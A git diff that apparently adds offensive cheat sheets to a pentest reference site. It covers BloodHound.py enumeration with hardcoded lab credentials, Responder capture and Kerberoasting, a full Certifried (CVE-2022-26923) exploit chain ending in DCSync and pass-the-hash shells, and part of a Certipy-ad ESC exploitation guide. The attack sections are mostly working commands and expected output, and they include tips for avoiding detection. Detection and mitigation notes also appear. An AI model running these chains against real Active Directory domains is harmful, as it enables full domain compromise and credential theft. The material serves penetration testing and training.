+**Use SharpHound when:** +- ✅ You have shell access on Windows +- ✅ You need session enumeration +- ✅ You need local admin detection +- ✅ You want faster/more complete enumeration + +--- + +## 🐛 Troubleshooting + +### Common Errors & Solutions + +#### Error: "Could not resolve domain" + +```bash +# Solution 1: Add to /etc/hosts +echo "10.10.11.41 certified.htb dc01.certified.htb" | sudo tee -a /etc/hosts + +# Solution 2: Use IP instead of hostname +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 + +# Solution 3: Use DC hostname +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -dc dc01.certified.htb -ns 10.10.11.41 +``` + +#### Error: "Authentication failed" + +```bash +# Check credentials +crackmapexec smb 10.10.11.41 -u judith.mader -p judith09 -d certified.htb + +# Try different username formats +bloodhound-python -c all -u 'certified.htb\judith.mader' -p judith09 -ns 10.10.11.41 +bloodhound-python -c all -u judith.mader@certified.htb -p judith09 -ns 10.10.11.41 +bloodhound-python -c all -u certified.htb/judith.mader -p judith09 -ns 10.10.11.41 + +# Check for account lockout +crackmapexec ldap 10.10.11.41 -u judith.mader -p judith09 -d certified.htb +``` + +#### Error: "LDAP connection failed" + +```bash +# Try different LDAP port +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --ldapport 389 + +# Try LDAPS +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --ldapport 636 + +# Disable signing +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --disable-signing + +# Check connectivity +nmap -p 389,636,3268,3269 10.10.11.41 +``` + +#### Error: "DNS resolution failed" + +```bash +# Add DNS server to /etc/resolv.conf +echo "nameserver 10.10.11.41" | sudo tee /etc/resolv.conf + +# Use --dns-tcp +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --dns-tcp + +# Add domain to /etc/hosts +echo "10.10.11.41 certified.htb" | sudo tee -a /etc/hosts +``` + +#### Error: "No output generated" + +```bash +# Check permissions +ls -la /tmp + +# Specify output directory +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 -o /tmp/bh + +# Check for errors in output +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 -v +``` + +#### Error: "Kerberos authentication failed" + +```bash +# Check KRB5CCNAME +echo $KRB5CCNAME + +# Verify ticket +klist + +# Get fresh ticket +impacket-getTGT certified.htb/judith.mader:judith09 -dc-ip 10.10.11.41 + +# Set correct ticket path +export KRB5CCNAME=/tmp/judith.mader.ccache + +# Configure /etc/krb5.conf +sudo nano /etc/krb5.conf +``` + +#### Error: "Module not found" + +```bash +# Install dependencies +pip3 install bloodhound dnspython ldap3 impacket + +# Or reinstall +pip3 install --upgrade bloodhound + +# Check Python path +which python3 +python3 -m site +``` + +--- + +## 📊 Post-Collection + +### Verify Output Files + +```bash +# Check generated files +ls -lh *bloodhound* *_*.json + +# Verify JSON files +for file in *.json; do + echo "Checking $file" + jq empty "$file" && echo "✓ Valid JSON" || echo "✗ Invalid JSON" +done + +# Count objects in files +echo "Users: $(jq '.users | length' *_users.json)" +echo "Groups: $(jq '.groups | length' *_groups.json)" +echo "Computers: $(jq '.computers | length' *_computers.json)" +``` + +### Import to BloodHound + +```bash +# Start Neo4j +sudo neo4j start + +# Start BloodHound GUI +bloodhound + +# Or use bloodhound-import (if available) +bloodhound-import -f 20241127163045_bloodhound.zip +``` + +### Manual ZIP Creation (if needed) + +```bash +# Create ZIP manually +zip bloodhound_certified.zip *_computers.json *_users.json *_groups.json *_domains.json *_gpos.json *_ous.json *_containers.json + +# Or use tar +tar -czf bloodhound_certified.tar.gz *_*.json +``` + +### Clean Up + +```bash +# Remove individual JSON files (keep ZIP) +rm *_computers.json *_users.json *_groups.json *_domains.json *_gpos.json *_ous.json *_containers.json + +# Remove all BloodHound files +rm -f *bloodhound* *_*.json +``` + +--- + +## 🎓 Advanced Techniques + +### Combining with Other Tools + +```bash +# 1. Enumerate domain users first +crackmapexec ldap 10.10.11.41 -u judith.mader -p judith09 -d certified.htb --users + +# 2. Run BloodHound +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --zip + +# 3. Enumerate shares +crackmapexec smb 10.10.11.41 -u judith.mader -p judith09 -d certified.htb --shares + +# 4. Check for AS-REP roasting +impacket-GetNPUsers certified.htb/judith.mader:judith09 -dc-ip 10.10.11.41 -request + +# 5. Kerberoasting +impacket-GetUserSPNs certified.htb/judith.mader:judith09 -dc-ip 10.10.11.41 -request +``` + +### Automation Script + +```bash +#!/bin/bash +# bloodhound_auto.sh + +DOMAIN="certified.htb" +DC_IP="10.10.11.41" +USERNAME="judith.mader" +PASSWORD="judith09" +OUTPUT_DIR="/tmp/bloodhound_$(date +%Y%m%d_%H%M%S)" + +echo "[+] Creating output directory: $OUTPUT_DIR" +mkdir -p "$OUTPUT_DIR" + +echo "[+] Running BloodHound collection..." +bloodhound-python -c all \ + -u "$USERNAME" \ + -p "$PASSWORD" \ + -d "$DOMAIN" \ + -ns "$DC_IP" \ + -o "$OUTPUT_DIR" \ + --zip + +echo "[+] Collection complete!" +echo "[+] Output saved to: $OUTPUT_DIR" +ls -lh "$OUTPUT_DIR" +``` + +### Using with Responder/LLMNR Poisoning + +```bash +# 1. Capture credentials with Responder +sudo responder -I tun0 -wv + +# 2. Wait for credentials... +# [+] Captured NTLMv2 hash: user::domain:hash... + +# 3. Crack the hash +hashcat -m 5600 captured.hash /usr/share/wordlists/rockyou.txt + +# 4. Use credentials with BloodHound +bloodhound-python -c all -u captured_user -p cracked_pass -d certified.htb -ns 10.10.11.41 --zip +``` + +--- + +## 💡 Pro Tips + +1. **Always use --zip** - Makes import to BloodHound cleaner +2. **Start with 'all' collection** - Get complete picture first +3. **Save output to organized directories** - Use timestamps and target names +4. **Add domains to /etc/hosts** - Prevents DNS issues +5. **Use pass-the-hash when possible** - Don't crack if you don't need to +6. **Combine with other tools** - CME, Impacket suite for comprehensive recon +7. **Run multiple times** - User sessions change, run during business hours +8. **Document your findings** - Keep track of credentials and paths found +9. **Use --exclude-dcs for stealth** - Reduces queries to domain controllers +10. **Verify JSON validity** - Check files before importing to BloodHound + +--- + +## ⚠️ Operational Security + +### Stealth Considerations + +```bash +# Minimal queries (stealthy) +bloodhound-python -c group,trusts -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --zip + +# Avoid computer enumeration (no SMB connections) +bloodhound-python -c group,acl,trusts -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --zip + +# Use LDAPS for encryption +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --ldapport 636 --zip +``` + +### Detection Considerations + +**What defenders might see:** +- LDAP queries from unusual source +- Multiple LDAP binds in short time +- Queries for sensitive attributes (adminCount, etc.) +- SMB connections for session enumeration + +**Mitigation:** +- Use compromised internal system as jump box +- Spread out collection over time +- Use legitimate admin account if possible +- Consider using SharpHound on compromised Windows box instead + +--- + +## 🔗 Useful Resources + +- **BloodHound.py GitHub**: https://github.com/fox-it/BloodHound.py +- **BloodHound Documentation**: https://bloodhound.readthedocs.io/ +- **BloodHound GUI**: https://github.com/BloodHoundAD/BloodHound +- **BloodHound Cypher Queries**: https://github.com/hausec/Bloodhound-Custom-Queries + +--- + +## 📝 Quick Reference Card + +```bash +# Standard enumeration +bloodhound-python -c all -u USER -p PASS -d DOMAIN -ns DC_IP --zip + +# With hash +bloodhound-python -c all -u USER --hashes :NTHASH -d DOMAIN -ns DC_IP --zip + +# With Kerberos +export KRB5CCNAME=/tmp/ticket.ccache +bloodhound-python -c all -u USER -d DOMAIN -ns DC_IP -k --no-pass --zip + +# Stealth mode +bloodhound-python -c group,acl,trusts -u USER -p PASS -d DOMAIN -ns DC_IP --zip + +# Custom output +bloodhound-python -c all -u USER -p PASS -d DOMAIN -ns DC_IP -o /tmp/bh --zip + +# Through proxy +proxychains bloodhound-python -c all -u USER -p PASS -d DOMAIN -ns DC_IP --zip +``` + +--- + +**Created by NetRunner | For Ethical Hacking & Penetration Testing** 🎓🔐 diff --git a/src/content/sheets/active-directory/certificate-persistence-certifried-cve-2022-26923.md b/src/content/sheets/active-directory/certificate-persistence-certifried-cve-2022-26923.md @@ -0,0 +1,415 @@ +--- +title: "Certificate Persistence — Certifried (CVE-2022-26923)" +description: "Certifried is a privilege escalation vulnerability discovered by Oliver Lyak (the same researcher who wrote Certipy) and disclosed in May 2022. It carries…" +category: active-directory +tags: ["active-directory", "adcs", "credential-access", "privilege-escalation", "persistence"] +tools: ["NetExec", "Impacket", "Mimikatz", "Rubeus", "Certipy"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/ACL-ESC-Techniques/Certificate Persistence — Certifried (CVE-2022-26923).md" +--- +# Certificate Persistence — Certifried (CVE-2022-26923) + +## Quick Reference + +| Field | Value | +|-------|-------| +| **Category** | Privilege Escalation (Default Config CVE) | +| **Difficulty** | Medium | +| **Pre-requisites** | Low-priv domain creds + `MachineAccountQuota > 0` + unpatched (pre-KB5014754) | +| **Tools** | Certipy, Impacket (addcomputer, secretsdump) | +| **OPSEC Noise** | Medium — computer account creation + dNSHostName change | +| **CVE** | CVE-2022-26923 (CVSS 8.8) | +| **One-liner** | Create computer account → spoof dNSHostName to DC hostname → request Machine cert → authenticate as DC → DCSync. | + +*** + +## What Is Certifried? + +Certifried is a **privilege escalation vulnerability** discovered by **Oliver Lyak** (the same researcher who wrote Certipy) and disclosed in May 2022. It carries a **CVSS score of 8.8** and requires only low-privileged domain credentials to exploit. Unlike all previous ESC attacks which abused *misconfigurations*, Certifried is a **default-configuration vulnerability** — meaning a freshly deployed Active Directory environment with AD CS installed is vulnerable out of the box with no misconfigurations required. + +The root cause is deceptively elegant. When a domain user creates a computer account, AD grants them `Validated Write to dNSHostName` and `Validated Write to servicePrincipalName` permissions on that account. The CA uses the `dNSHostName` attribute to identify machine certificates. By setting a **newly created computer account's `dNSHostName` to match a Domain Controller's hostname**, a low-privileged user can request a certificate that the CA believes belongs to the DC — then authenticate as the DC machine account and DCSync the entire domain. + +*** + +## The Core Logic + +``` +Normal cert request flow: + User creates computer → dNSHostName = "MYPC.domain.htb" + Requests Machine cert → CA reads dNSHostName + CA issues cert → "MYPC.domain.htb" + Authenticates as → MYPC$ + +Certifried abuse flow: + User creates computer → dNSHostName = "DC01.domain.htb" ← SPOOFED + Requests Machine cert → CA reads dNSHostName + CA issues cert → "DC01.domain.htb" ← DC's identity + Authenticates as → DC01$ ← DOMAIN CONTROLLER +``` + +The CA has no mechanism to verify that the requester **should** be allowed to claim the DC's hostname — it simply trusts whatever `dNSHostName` says. + +*** + +## Required Conditions + +| Condition | Notes | +|-----------|-------| +| AD CS is installed in the domain | Default state when CS role is deployed | +| `MachineAccountQuota > 0` (default = 10) | Allows any domain user to create computer accounts | +| `Machine` or `Computer` template enrollable by domain users | Default on most AD CS deployments | +| **System is unpatched** (pre-May 2022) | KB5014754 patches this — check for it | + +> 💡 Check `MachineAccountQuota` with: +> ```bash +> netexec ldap $TARGET -u 'lowpriv' -p 'Password123!' -M maq +> # or +> crackmapexec ldap $TARGET -u 'lowpriv' -p 'Password123!' --get-desc-users +> ``` +> ```powershell +> Get-ADDomain | Select-Object -ExpandProperty MachineAccountQuota +> ``` + +*** + +## Checking if Patched + +Before attempting, confirm whether the target is patched: + +```bash +# Check for KB5014754 patch via CrackMapExec +netexec smb $TARGET -u 'lowpriv' -p 'Password123!' -M ms17-010 + +# Verify via LDAP — check StrongCertificateBindingEnforcement +netexec ldap $TARGET -u 'lowpriv' -p 'Password123!' \ + -x 'reg query HKLM\SYSTEM\CurrentControlSet\Services\Kdc /v StrongCertificateBindingEnforcement' + +# Values: +# 0 = Not enforced → Certifried works +# 1 = Audit mode → Certifried likely works +# 2 = Full enforcement → Certifried blocked +``` + +*** + +## Step 0 — Enumeration + +```bash +# Standard certipy scan — look for Machine template available +certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ + -dc-ip $TARGET -stdout + +# Specifically look for this in template output: +# Template Name: Machine +# Client Authentication: True +# Enrollment Rights: DOMAIN\Domain Computers (or Authenticated Users) +``` + +*** + +## Full Attack Chain — Linux (Certipy + Impacket) + +### Step 1 — Create a New Computer Account + +```bash +# Using Impacket addcomputer — requires MachineAccountQuota > 0 +impacket-addcomputer \ + 'domain.htb/lowpriv:Password123!' \ + -dc-ip $TARGET \ + -computer-name 'EVILPC$' \ + -computer-pass 'EvilPass123!' + +# Verify it was created +netexec smb $TARGET -u 'lowpriv' -p 'Password123!' \ + --computers +``` + +**Expected output:** +``` +[*] Successfully added machine account 'EVILPC$' with password 'EvilPass123!'. +``` + +*** + +### Step 2 — Clear the SPN on the New Computer Account + +This is a **critical prerequisite**. By default, creating a computer account also sets `servicePrincipalName` values that include its own hostname. If you try to change `dNSHostName` to the DC's hostname without first clearing the SPNs, AD's SPN uniqueness check will block the attribute change (because the DC already has those SPNs registered): + +```bash +# Clear the SPNs on the fake computer account +impacket-addcomputer \ + 'domain.htb/lowpriv:Password123!' \ + -dc-ip $TARGET \ + -computer-name 'EVILPC$' \ + -computer-pass 'EvilPass123!' \ + -spn-clear + +# Or via Certipy directly +certipy-ad account \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -user 'EVILPC$' \ + -spn-clear update +``` + +*** + +### Step 3 — Set dNSHostName to the DC's Hostname + +```bash +# Change dNSHostName of EVILPC$ to match the Domain Controller +certipy-ad account \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -user 'EVILPC$' \ + -dns 'DC01.domain.htb' \ + update + +# Verify the change +certipy-ad account \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -user 'EVILPC$' \ + lookup +``` + +**Expected output:** +``` +[*] Updating computer account 'EVILPC$' +[*] Successfully updated computer account 'EVILPC$' with attribute dNSHostName = DC01.domain.htb +``` + +> ⚠️ If you get `Constraint Violation` here, the SPN was not cleared properly — go back to Step 2. AD enforces SPN uniqueness which prevents two accounts sharing the same DNS hostname if their SPNs overlap. + +*** + +### Step 4 — Request a Machine Certificate + +Now request a certificate using the **Machine** template, authenticating as your fake computer account `EVILPC$`. The CA reads `dNSHostName = DC01.domain.htb` and issues a cert for the DC: + +```bash +certipy-ad req \ + -u 'EVILPC$@domain.htb' \ + -p 'EvilPass123!' \ + -dc-ip $TARGET \ + -ca 'DOMAIN-CA-NAME' \ + -template 'Machine' + +# Output: dc01.pfx (named after the DNS hostname it was issued for) +``` + +**Expected output:** +``` +[*] Requesting certificate via RPC +[*] Successfully requested certificate +[*] Request ID is 9 +[*] Got certificate with DNS hostname 'DC01.domain.htb' +[*] Saving certificate and private key to 'dc01.pfx' +``` + +> 💡 The cert is saved as `dc01.pfx` — named from the DNS hostname embedded in it. This is your DC impersonation certificate. + +*** + +### Step 5 — Authenticate as the DC Machine Account + +```bash +certipy-ad auth \ + -pfx dc01.pfx \ + -username 'DC01$' \ + -domain domain.htb \ + -dc-ip $TARGET +``` + +**Expected output:** +``` +[*] Using principal: 'DC01$@domain.htb' +[*] Trying to get TGT... +[*] Got TGT +[*] Saving credential cache to 'DC01$.ccache' +[*] Got hash for 'DC01$@domain.htb': aad3b435b51404eeaad3b435b51404ee:NTHASH +``` + +*** + +### Step 6 — DCSync (Full Domain Compromise) + +```bash +# Using TGT +export KRB5CCNAME='DC01$.ccache' +secretsdump.py -k -no-pass DC01.domain.htb + +# Using NT hash +secretsdump.py \ + -hashes :NTHASH \ + 'domain.htb/DC01$'@DC01.domain.htb + +# Output: +# Administrator:500:aad3b435...:ADMIN_NTHASH +# krbtgt:502:aad3b435...:KRBTGT_HASH +# All domain hashes... +``` + +*** + +### Step 7 — Shell as Administrator + +```bash +# Pass-the-Hash with Administrator hash from DCSync +evil-winrm -i $TARGET -u administrator -H <ADMIN_NTHASH> +wmiexec.py administrator@$TARGET -hashes :ADMIN_NTHASH +psexec.py administrator@$TARGET -hashes :ADMIN_NTHASH +``` + +*** + +### Optional Step — Clean Up the Fake Computer Account + +```bash +# Remove the fake computer account after exploitation +impacket-addcomputer \ + 'domain.htb/lowpriv:Password123!' \ + -dc-ip $TARGET \ + -computer-name 'EVILPC$' \ + -computer-pass 'EvilPass123!' \ + -delete +``` + +*** + +## Full Attack Chain — Windows (PowerShell + Certify.exe + Rubeus) + +```powershell +# ── Step 1: Create fake computer account ───────────────────────────────────── +Import-Module ActiveDirectory +New-ADComputer -Name "EVILPC" -AccountPassword (ConvertTo-SecureString "EvilPass123!" -AsPlainText -Force) + +# ── Step 2: Clear SPNs ──────────────────────────────────────────────────────── +Set-ADComputer -Identity "EVILPC" -ServicePrincipalNames @{} + +# ── Step 3: Set dNSHostName to DC's hostname ────────────────────────────────── +Set-ADComputer -Identity "EVILPC" -DNSHostName "DC01.domain.local" + +# ── Step 4: Request Machine certificate ────────────────────────────────────── +# Run as EVILPC$ account context +.\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:Machine +openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out dc01.pfx + +# ── Step 5: Get TGT as DC01$ ───────────────────────────────────────────────── +.\Rubeus.exe asktgt /user:DC01$ /certificate:dc01.pfx /getcredentials /nowrap + +# ── Step 6: Inject TGT and DCSync ──────────────────────────────────────────── +.\Rubeus.exe createnetonly /program:powershell.exe /show +.\Rubeus.exe ptt /ticket:<base64ticket> +Invoke-Mimikatz -Command '"lsadump::dcsync /domain:domain.local /all /csv"' +``` + +*** + +## Certifried Visual Attack Flow + +``` +[lowpriv@domain.htb] (MachineAccountQuota > 0) + │ + │ addcomputer → EVILPC$ + ▼ +[EVILPC$ created] + │ + │ Clear SPNs on EVILPC$ + │ Set dNSHostName = DC01.domain.htb + ▼ +[EVILPC$.dNSHostName = DC01.domain.htb] ← CA reads this + │ + │ certipy req -template Machine -u EVILPC$ + ▼ +[dc01.pfx issued] ← Contains DC01.domain.htb identity + │ + │ certipy auth -pfx dc01.pfx -username DC01$ + ▼ +[TGT + NT hash for DC01$] + │ + │ secretsdump DCSync + ▼ +[ALL domain hashes — full compromise] +``` + +*** + +## Why This Works — The Patch Explanation + +Before KB5014754, the KDC performed certificate-based authentication by **matching the UPN or DNS name in the certificate to an AD object** without enforcing that the requester had rights to claim that identity. Post-patch, the KDC enforces **strong certificate binding** — it looks for an `objectSid` extension in the certificate and validates it matches the AD object being authenticated as. Since `EVILPC$` has a different `objectSid` than `DC01$`, the forged identity is rejected. + +| Pre-Patch | Post-Patch | +|-----------|-----------| +| KDC matches cert `dNSHostName` → finds DC01$ in AD → issues TGT | KDC checks cert `objectSid` extension → `EVILPC$` SID ≠ `DC01$` SID → rejects | +| No SID validation | **objectSid extension in cert is mandatory** | +| Certifried works | Certifried blocked | + +*** + +## Certifried vs ESC Attacks — Where It Fits + +| | ESC1–7 | ESC8/ESC11 | **Certifried** | +|---|---|---|---| +| **Requires misconfiguration** | ✅ | ✅ | ❌ **Default config is vulnerable** | +| **CVSS Score** | Varies | High | **8.8** | +| **Discovery** | SpecterOps (Will Schroeder) | SpecterOps | **Oliver Lyak (Certipy author)** | +| **Requires domain creds** | ✅ | ⚠️ Sometimes not | ✅ | +| **Requires MachineAccountQuota > 0** | ❌ | ❌ | ✅ | +| **Creates fake computer account** | ❌ | ❌ | ✅ | +| **Patched** | Some | Some | ✅ May 2022 KB5014754 | +| **Post-patch bypass** | Varies | ESC16 | Check `StrongCertificateBindingEnforcement` value | + +*** + +## Detection Indicators + +- **Event ID 4741** — A computer account was created — alert on any `New-ADComputer` from non-admin accounts +- **Event ID 4742** — A computer account was changed — specifically watch for `dNSHostName` attribute changes on recently created computer accounts +- **Event ID 4768** — Kerberos TGT requested for a machine account (`DC01$`) from an IP that is not the DC's actual IP address +- **LDAP monitoring** — Alert on `dNSHostName` modifications that result in a value matching an existing DC hostname +- **Event ID 4887** — Certificate issued for `DC01.domain.htb` hostname where the requester account is NOT `DC01$` + +*** + +## Mitigation + +- **Apply KB5014754** — The single most direct fix; enforces strong certificate binding in the KDC +- **Set `StrongCertificateBindingEnforcement = 2`** in the KDC registry key to move from audit mode to full enforcement after ensuring all certificates have been re-issued with the `objectSid` extension +- **Set `MachineAccountQuota = 0`** — Prevents domain users from creating computer accounts; this breaks the attack at Step 1: + ```powershell + Set-ADDomain -Identity domain.htb -Replace @{"ms-DS-MachineAccountQuota"="0"} + ``` +- **Monitor `dNSHostName` write events** — Set up SACL auditing on all computer objects for `dNSHostName` attribute modifications +- **Restrict who can add computers** — Delegate computer creation rights only to specific OU-level accounts, not to all authenticated users + +*** + +## OPSEC Considerations + +| Action | Event Generated | Noise Level | +|--------|----------------|-------------| +| Computer account creation | Event ID 4741 | 🟡 Medium | +| SPN clear on computer account | Event ID 4742 | 🟢 Low | +| dNSHostName change to DC hostname | Event ID 4742 | 🟡 Medium | +| Certificate request (Machine template) | Event ID 4887 on CA | 🟢 Low | +| PKINIT authentication as DC$ | Event ID 4768 (from non-DC IP) | 🔴 High | +| DCSync | Event ID 4662 (replication) | 🔴 High | +| Computer account deletion (cleanup) | Event ID 4743 | 🟡 Medium | + +> ⚠️ The most detectable step is the **PKINIT authentication as DC$** from a non-DC IP address. The dNSHostName change to a DC hostname is also highly anomalous. Execute steps 3–5 rapidly and clean up the fake computer account immediately. + +*** + +## References + +- [Certifried: Active Directory Domain Privilege Escalation — Oliver Lyak](https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4) +- [Certifried — The Hacker Recipes](https://www.thehacker.recipes/ad/movement/adcs/certifried) +- [CVE-2022-26923 Mitigation — SentinelOne](https://www.sentinelone.com/blog/dollar-signs-in-attackers-eyes-how-to-mitigate-cve-2022-26923/) +- [CVE-2022-26923 Detection — SOC Prime](https://socprime.com/blog/cve-2022-26923-detection-active-directory-domain-privilege-escalation-vulnerability/) +- [CVE-2022-26923 Explained — Hack The Box](https://www.hackthebox.com/blog/cve-2022-26923-certifried-explained) +- [CVE-2022-26923 Detail — NVD](https://nvd.nist.gov/vuln/detail/cve-2022-26923) diff --git a/src/content/sheets/active-directory/certipy-ad.md b/src/content/sheets/active-directory/certipy-ad.md @@ -0,0 +1,703 @@ +--- +title: "Certipy-ad" +description: "pip install certipy-ad --break-system-packages" +category: active-directory +tags: ["active-directory", "kerberos", "adcs", "hashing"] +tools: ["Certipy", "BloodHound", "Evil-WinRM", "OpenSSL"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:ActiveDirectory/Certipy-ad.md" +--- +# 🔐 Certipy-AD Cheat Sheet + +> **A comprehensive guide for Active Directory Certificate Services enumeration and exploitation using Certipy-ad** + +*** + +## 📋 Table of Contents + +- [Overview](#-overview) +- [Installation](#-installation) +- [Common Usage Patterns](#-common-usage-patterns) +- [Command Reference](#-command-reference) +- [ESC4 Exploitation Workflow](#-esc4-exploitation-workflow) +- [HTB EscapeTwo Context](#-htb-escapetwo-context) +- [Post-Exploitation](#-post-exploitation) +- [Tips & Best Practices](#-tips--best-practices) + +*** + +## 🎯 Overview + +**Certipy-ad** is an offensive security tool designed to enumerate and exploit Active Directory Certificate Services (AD CS) misconfigurations. It supports detection and exploitation of ESC1-ESC16 vulnerabilities, making it essential for penetration testing AD environments. + +### 🔑 Key Capabilities + +- 🔍 **Enumeration**: Identify vulnerable certificate templates and CAs +- 🎫 **Certificate Requests**: Request certificates with custom attributes +- 🔓 **Authentication**: Use certificates for Kerberos authentication and NT hash retrieval +- 🛠️ **Template Manipulation**: Modify certificate templates to create exploitation paths +- 👤 **Shadow Credentials**: Add Key Credential Links for account takeover +- 🏆 **Golden Certificates**: Forge certificates using compromised CA keys + +*** + +## 📦 Installation + +```bash +# Install via pip +pip install certipy-ad --break-system-packages + +# Install via apt (Kali Linux) +sudo apt install certipy-ad + +# Verify installation +certipy-ad -h +``` + +*** + +## 💡 Common Usage Patterns + +### 🔍 Enumeration Workflow + +```bash +# Basic enumeration +certipy-ad find -u 'user@domain.local' -p 'password' -dc-ip 10.10.11.51 + +# Enumerate vulnerable templates only +certipy-ad find -u 'user@domain.local' -p 'password' -dc-ip 10.10.11.51 -vulnerable -enabled + +# Output to specific format +certipy-ad find -u 'user@domain.local' -p 'password' -dc-ip 10.10.11.51 -json -output results + +# Using NTLM hash authentication +certipy-ad find -u 'user@domain.local' -hashes ':NTHASH' -dc-ip 10.10.11.51 +``` + +### 🎫 Certificate Request Workflow + +```bash +# Request certificate with UPN +certipy-ad req -u 'user@domain.local' -p 'password' -ca 'CA-Name' -template 'TemplateName' -upn 'administrator@domain.local' -dc-ip 10.10.11.51 + +# Request using hash authentication +certipy-ad req -u 'user@domain.local' -hashes ':NTHASH' -ca 'CA-Name' -template 'TemplateName' -upn 'target@domain.local' -dc-ip 10.10.11.51 + +# Retrieve previously requested certificate +certipy-ad req -u 'user@domain.local' -p 'password' -ca 'CA-Name' -retrieve 123 -dc-ip 10.10.11.51 +``` + +### 🔓 Authentication Workflow + +```bash +# Authenticate using certificate +certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51 + +# With PFX password +certipy-ad auth -pfx administrator.pfx -password 'pfxpassword' -dc-ip 10.10.11.51 + +# Save in kirbi format +certipy-ad auth -pfx administrator.pfx -kirbi -dc-ip 10.10.11.51 + +# LDAP shell access +certipy-ad auth -pfx administrator.pfx -ldap-shell -dc-ip 10.10.11.51 +``` + +*** + +## 📖 Command Reference + +### 🔧 Global Flags + +| Flag | Description | Example | +|------|-------------|---------| +| `-u`, `-username` | Username for authentication | `-u user@domain.local` | +| `-p`, `-password` | Password for authentication | `-p 'Password123'` | +| `-hashes` | NTLM hash (pass-the-hash) | `-hashes ':NTHASH'` or `-hashes 'LMHASH:NTHASH'` | +| `-k` | Use Kerberos authentication from ccache | `-k` | +| `-aes` | AES key for Kerberos auth | `-aes <hex_key>` | +| `-dc-ip` | Domain controller IP address | `-dc-ip 10.10.11.51` | +| `-dc-host` | 🆕 **DC hostname — REQUIRED in Certipy v5+** | `-dc-host dc01.domain.local` | +| `-target` | Target machine DNS/IP | `-target ca.domain.local` | +| `-ns` | 🆕 Nameserver for DNS resolution (pin to DC IP to avoid rerouting) | `-ns 10.10.11.51` | +| `-timeout` | Connection timeout in seconds | `-timeout 30` | +| `-debug` | Enable debug output | `-debug` | + +> 🆕 **⚠️ Certipy v5 Note — Always pass `-dc-host`:** In Certipy v5+, omitting `-dc-host` causes the tool to use the domain name as the DC host and attempt a secondary DNS resolution. If that resolves to an internal AD IP that isn't routable from your VPN (`Target IP: None` in debug output), you'll get `[Errno 113] No route to host` even when your `-dc-ip` is correct and `/etc/hosts` is properly configured. **Always pair `-dc-ip` with `-dc-host`.** + +*** + +### 1️⃣ `find` - Enumerate AD CS + +**Purpose**: Discover certificate templates, CAs, and misconfigurations + +```bash +certipy-ad find [options] +``` + +#### 📊 Key Flags + +| Flag | Description | +|------|-------------| +| `-vulnerable` | Show only vulnerable templates | +| `-enabled` | Show only enabled templates | +| `-text` | Output as formatted text file | +| `-json` | Output as JSON | +| `-csv` | Output as CSV | +| `-stdout` | Output directly to console | +| `-output <prefix>` | File prefix for output | +| `-oids` | Show Issuance Policies | +| `-hide-admins` | Suppress admin permissions | +| `-dc-only` | Only collect from DC (skip CA queries) | + +#### 💻 Example Commands + +```bash +# Find vulnerable templates +certipy-ad find -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb -vulnerable -enabled -stdout + +# Full enumeration with all outputs +certipy-ad find -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb -json -text -output dc01_enum +``` + +*** + +### 2️⃣ `req` - Request Certificates + +**Purpose**: Request and retrieve certificates from AD CS + +```bash +certipy-ad req [options] +``` + +#### 📊 Key Flags + +| Flag | Description | +|------|-------------| +| `-ca <name>` | Certificate Authority name | +| `-template <name>` | Certificate template name | +| `-upn <upn>` | User Principal Name for SAN | +| `-dns <dns>` | DNS name for SAN | +| `-sid <sid>` | Object SID for SAN | +| `-subject <dn>` | Certificate subject DN | +| `-retrieve <id>` | Retrieve certificate by request ID | +| `-on-behalf-of <user>` | Request on behalf of another user | +| `-pfx <file>` | PFX for on-behalf-of or renewal | +| `-renew` | Create renewal request | +| `-out <file>` | Output PFX filename | +| `-web` | Use Web Enrollment | +| `-dcom` | Use DCOM Enrollment | + +#### 💻 Example Commands + +```bash +# Request certificate with custom UPN (ESC1) +certipy-ad req -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \ + -ca sequel-DC01-CA -template DunderMifflinAuthentication \ + -upn administrator@sequel.htb \ + -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb # 🆕 dc-host required in v5 + +# Retrieve certificate by request ID +certipy-ad req -u user@domain.local -p 'password' -ca CA-Name -retrieve 42 \ + -dc-ip 10.10.11.51 -dc-host dc01.domain.local + +# Request on behalf of another user (ESC2/ESC3) +certipy-ad req -u user@domain.local -p 'password' -ca CA-Name -template User \ + -on-behalf-of 'domain\administrator' -pfx user.pfx \ + -dc-ip 10.10.11.51 -dc-host dc01.domain.local +``` + +*** + +### 3️⃣ `auth` - Authenticate with Certificate + +**Purpose**: Use certificates for authentication and NT hash retrieval + +```bash +certipy-ad auth -pfx <cert.pfx> [options] +``` + +#### 📊 Key Flags + +| Flag | Description | +|------|-------------| +| `-pfx <file>` | Path to certificate (PFX/P12) | +| `-password <pass>` | PFX file password | 